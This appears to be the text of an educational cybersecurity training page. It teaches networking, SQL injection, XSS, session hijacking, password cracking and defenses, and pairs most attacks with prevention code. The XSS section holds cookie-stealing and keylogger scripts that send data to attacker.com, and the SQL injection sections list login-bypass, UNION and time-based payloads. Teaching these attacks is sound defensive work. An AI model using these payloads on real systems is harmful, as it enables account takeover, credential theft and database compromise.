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CYBER AI HACKING TERMINAL
root@cyber-ai:~$ system status --check
[✓] AI Instructor: ONLINE
[✓] Security Protocols: ACTIVE
[✓] Simulation Environment: READY
[✓] Educational Database: LOADED
root@cyber-ai:~$ waiting for user session...
root@cyber-ai:~$ _
QUICK HACKING SIMULATIONS
Select a simulation to begin...
BEGINNER'S GUIDE TO HACKING

Welcome to cybersecurity! This guide will introduce you to essential concepts in a safe, legal environment. Remember: ethical hacking is about improving security, not breaking systems.

LEGAL WARNING: Only practice hacking on systems you own or have explicit permission to test. Unauthorized access is illegal.
NETWORKING BASICS
Learn how networks work, IP addresses, ports, protocols, and how data travels across the internet.
START LEARNING
LINUX TERMINAL
Master the command line interface used by most hackers and security professionals.
START LEARNING
RECONNAISSANCE
Learn information gathering techniques, footprinting, and scanning without attacking.
START LEARNING
WEB SECURITY
Understand how websites work and common vulnerabilities like SQLi, XSS, and CSRF.
START LEARNING
CRYPTOGRAPHY
Learn about encryption, hashing, digital signatures, and how to protect data.
START LEARNING
DEFENSE STRATEGIES
Learn how to defend systems with firewalls, intrusion detection, and security policies.
START LEARNING
NETWORKING FUNDAMENTALS

Networks are the foundation of all hacking knowledge. Understanding how data moves is essential for both attack and defense.

IP Addresses and Subnets

Every device on a network has an IP address. There are two versions:

  • IPv4: 32-bit address (e.g., 192.168.1.1) - 4.3 billion addresses
  • IPv6: 128-bit address (e.g., 2001:0db8:85a3:0000:0000:8a2e:0370:7334) - 340 undecillion addresses
NETWORK SCANNING SIMULATOR
Enter a target and click SCAN to begin network reconnaissance...
Ports and Protocols

Ports are communication endpoints. Common ports include:

  • Port 80: HTTP (Web traffic)
  • Port 443: HTTPS (Secure web)
  • Port 22: SSH (Secure shell)
  • Port 21: FTP (File transfer)
  • Port 25: SMTP (Email)
  • Port 53: DNS (Domain names)
HACKING INSIGHT: Most attacks target layers 3, 4, and 7. Understanding each layer helps you identify vulnerabilities.
Manual Network Commands
MANUAL COMMAND INPUT
Type a network command above. Try: ping google.com, traceroute 8.8.8.8, or nslookup example.com
SQL INJECTION ATTACKS

SQL Injection is one of the most critical web application vulnerabilities. It allows attackers to interfere with database queries.

DANGER: SQL Injection can lead to complete database compromise, data theft, and system takeover.
How SQL Injection Works

Consider a login form with this SQL query:

1SELECT * FROM users WHERE username = '$username' AND password = '$password'

If a user enters admin' -- as username:

1SELECT * FROM users WHERE username = 'admin' --' AND password = ''

The -- comments out the password check, allowing login as admin without a password!

SQL INJECTION SIMULATOR

Vulnerable Login Form

Try logging in with username: admin, password: password123
Then try SQL injection with username: admin' --
Manual SQL Injection Testing
MANUAL SQL INJECTION
Enter SQL injection payloads to test:

Examples:
• admin' OR '1'='1
• admin' UNION SELECT null,version() --
• admin' AND SLEEP(5) --
Prevention Techniques
  1. Parameterized Queries: Use prepared statements with placeholders
  2. Input Validation: Whitelist allowed characters
  3. Stored Procedures: Use database stored procedures
  4. Least Privilege: Database accounts with minimal permissions
  5. Web Application Firewall (WAF): Filter malicious requests
1// SAFE: Parameterized query in PHP/PDO
2$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email AND status=:status');
3$stmt->execute(['email' => $email, 'status' => 'active']);
4$user = $stmt->fetch();
CROSS-SITE SCRIPTING (XSS) ATTACKS

Cross-Site Scripting (XSS) allows attackers to inject malicious scripts into web pages viewed by other users. It's one of the most common web vulnerabilities.

DANGER: XSS can steal cookies, redirect users, deface websites, and perform actions on behalf of users.
Types of XSS Attacks
  • Reflected XSS: Malicious script comes from the current HTTP request
  • Stored XSS: Script is stored on the server (in database, forum posts, etc.)
  • DOM-based XSS: Vulnerability exists in client-side code rather than server-side

Live XSS Demonstration

This is a simulated vulnerable comment system. Try injecting scripts below:

Comments Display (Vulnerable):

Welcome to our comment section!
Previous user: This site is great!
XSS Console - Attack logs will appear here...
Common XSS Payloads
1# Basic alert
2<script>alert('XSS')</script>
3
4# Steal cookies
5<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
6
7# Image payload
8<img src=x onerror=alert('XSS')>
9
10# Keylogger
11<script>document.onkeypress=function(e){fetch('http://attacker.com/log?key='+e.key)}</script>
MANUAL XSS TESTING
Enter XSS payloads to test evasion techniques:

Examples:
• <script>alert(document.domain)</script>
• <img src=x onerror=alert(1)>
• javascript:alert('XSS')
• <svg onload=alert(1)>
Prevention Techniques
  1. Input Validation: Validate and sanitize all user inputs
  2. Output Encoding: Encode data before outputting to browser
  3. Content Security Policy (CSP): Restrict sources of executable scripts
  4. HttpOnly Cookies: Prevent JavaScript from accessing cookies
  5. Use Security Libraries: OWASP ESAPI, DOMPurify for sanitization
1// SAFE: Output encoding in PHP
2echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
3
4// Content Security Policy header
5Content-Security-Policy: default-src 'self'; script-src 'self';
REAL-WORLD IMPACT: XSS was used in the 2010 "Operation Aurora" attacks against Google and other companies. Modern frameworks like React and Angular have built-in XSS protection.
SESSION HIJACKING

Session hijacking involves stealing or manipulating a user's web session to gain unauthorized access to web applications.

DANGER: Session hijacking can lead to account takeover, identity theft, and unauthorized transactions.
How Sessions Work

Web applications use sessions to maintain state between HTTP requests. Typically:

  1. User logs in with credentials
  2. Server creates a session ID
  3. Session ID is stored in a cookie
  4. Browser sends cookie with each request
  5. Server validates session ID
SESSION HIJACKING SIMULATOR

Current Session Information

Generating session data...
Session hijacking console - Attack logs will appear here...
Session Hijacking Techniques
  • Session Sidejacking: Sniffing session cookies on unencrypted networks
  • Session Fixation: Forcing a user to use a known session ID
  • Cross-Site Scripting (XSS): Stealing cookies via JavaScript
  • Man-in-the-Middle (MitM): Intercepting and modifying session data
  • Session Prediction: Guessing valid session IDs
MANUAL SESSION ATTACKS
Try session attack techniques:

Examples:
• Cookie: SESSID=12345
• Set-Cookie: SESSID=attacker_id
• XSS: document.cookie="SESSID=stolen"
Prevention Techniques
  1. Use HTTPS: Encrypt all traffic to prevent sniffing
  2. Secure Cookies: Set HttpOnly, Secure, and SameSite flags
  3. Session Regeneration: Change session ID after login
  4. Short Timeouts: Implement session expiration
  5. IP Validation: Bind sessions to IP addresses
  6. Multi-factor Authentication: Add additional verification
1// Secure session configuration in PHP
2ini_set('session.cookie_httponly', 1);
3ini_set('session.cookie_secure', 1);
4ini_set('session.use_strict_mode', 1);
5ini_set('session.cookie_samesite', 'Strict');
PASSWORD SECURITY & CRACKING

Password cracking involves recovering passwords from data stored or transmitted by computer systems. Understanding these techniques helps create stronger passwords.

ETHICAL NOTE: Only crack passwords you own or have explicit permission to test. Unauthorized password cracking is illegal.
Password Cracking Methods
  • Brute Force: Trying every possible combination
  • Dictionary Attack: Using common words and passwords
  • Rainbow Tables: Precomputed hash tables for fast cracking
  • Phishing: Tricking users into revealing passwords
  • Keylogging: Capturing keystrokes
  • Social Engineering: Manipulating people to reveal passwords
PASSWORD CRACKING SIMULATOR

Test Password Strength

Password analysis will appear here...
Manual Password Attacks
MANUAL CRACKING TOOLS
Try cracking these example hashes:

• MD5: 5f4dcc3b5aa765d61d8327deb882cf99 (password)
• SHA1: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 (password)
• SHA256: 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8 (password)
Creating Strong Passwords
  1. Length: At least 12 characters minimum
  2. Complexity: Mix uppercase, lowercase, numbers, symbols
  3. Uniqueness: Different password for each account
  4. Passphrases: Use multiple random words (CorrectHorseBatteryStaple)
  5. Password Managers: Generate and store strong passwords
  6. Multi-factor Authentication (MFA): Add another layer of security
1# Secure password hashing in Python
2import bcrypt
3
4# Hash a password
5hashed = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt(14))
6
7# Verify a password
8bcrypt.checkpw(password.encode('utf-8'), hashed)
FIREWALLS & ENCRYPTION

Firewalls and encryption are fundamental defense mechanisms that protect networks and data from unauthorized access.

Firewall Protection

Firewalls control incoming and outgoing network traffic based on security rules. Types include:

  • Packet-filtering Firewalls: Inspect packets at network layer
  • Stateful Firewalls: Track connection state
  • Application Firewalls: Inspect application layer data
  • Next-gen Firewalls: Deep packet inspection, intrusion prevention
FIREWALL CONFIGURATION SIMULATOR
Firewall simulation ready. Test different ports and rules.
Encryption Fundamentals

Encryption converts data into unreadable format to protect confidentiality. Key concepts:

  • Symmetric Encryption: Same key for encryption and decryption (AES, DES)
  • Asymmetric Encryption: Public/private key pairs (RSA, ECC)
  • Hashing: One-way transformation (SHA-256, MD5)
  • Digital Signatures: Verify authenticity and integrity
  • SSL/TLS: Secure communication over networks
ENCRYPTION SIMULATOR
Encryption results will appear here...
Manual Encryption Commands
ENCRYPTION TOOLS
Try OpenSSL commands:

• openssl enc -aes-256-cbc -salt -in file.txt -out file.enc
• openssl genrsa -out private.pem 2048
• openssl dgst -sha256 file.txt
SECURITY CAREER PATH

The cybersecurity field offers diverse career opportunities with excellent growth potential and high demand.

MARKET OUTLOOK: Cybersecurity jobs are projected to grow 33% from 2020 to 2030, much faster than average. There are currently 3.5 million unfilled cybersecurity jobs globally.
Career Paths in Cybersecurity
  • Penetration Tester: Ethical hacker who tests system security
  • Security Analyst: Monitors networks for security breaches
  • Incident Responder: Responds to security incidents
  • Security Engineer: Designs and implements security systems
  • Forensic Analyst: Investigates cyber crimes
  • Security Architect: Designs security infrastructure
  • CISO: Chief Information Security Officer - executive role
CERTIFICATION ROADMAP
Select a certification level to see recommended paths...
Getting Started
  1. Learn Fundamentals: Networking, operating systems, programming
  2. Hands-on Practice: TryHackMe, HackTheBox, PentesterLab
  3. Earn Certifications: Start with CompTIA Security+
  4. Build a Home Lab: Virtual machines, vulnerable apps
  5. Contribute to Open Source: Security tools and projects
  6. Network: Join local security groups, attend conferences
  7. Stay Current: Follow security news, blogs, and research
CAREER PATH SIMULATOR
Enter a cybersecurity career goal to generate a learning path...
ETHICAL FOUNDATION: Always maintain ethical standards. The cybersecurity community values integrity, and ethical violations can end careers permanently.